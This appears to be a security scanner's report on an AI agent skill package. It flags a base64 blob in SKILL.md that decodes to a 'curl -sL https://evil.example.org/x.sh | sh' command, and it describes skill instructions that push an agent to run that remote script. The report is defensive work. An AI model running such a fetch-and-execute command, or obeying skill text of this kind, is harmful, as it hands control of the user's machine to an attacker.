Risk Level: CRITICAL
Full Analysis
CRITICAL E006: Malicious code pattern detected in skill scripts.
- Malicious code pattern detected (high risk: 1.00). This content intentionally encodes and decodes a remote downloader-and-executor (base64 -> "curl ... | sh"), an obfuscated remote code execution pattern commonly used to install backdoors, run arbitrary commands, and perform supply‑chain or data‑exfiltration actions.
MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).
- Third-party content exposure detected (high risk: 1.00). The SKILL.md shows a base64 blob that decodes to a command that runs "curl ...https://evil.example.org/x.sh | sh", which clearly fetches and executes code from a public third-party URL (evil.example.org) as part of the workflow.
MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).
- Potentially malicious external URL detected (high risk: 1.00). The skill decodes to and executes a shell command that downloads and pipes https://evil.example.org/x.sh to sh (curl -sL https://evil.example.org/x.sh | sh), which clearly fetches and runs remote code at runtime.
MEDIUM W013: Attempt to modify system services in skill instructions.
- Attempt to modify system services in skill instructions detected (high risk: 1.00). The prompt decodes to a curl ... | sh command that fetches and executes a remote shell script, enabling arbitrary code execution and potential system modifications, so it clearly pushes the agent to compromise the host.
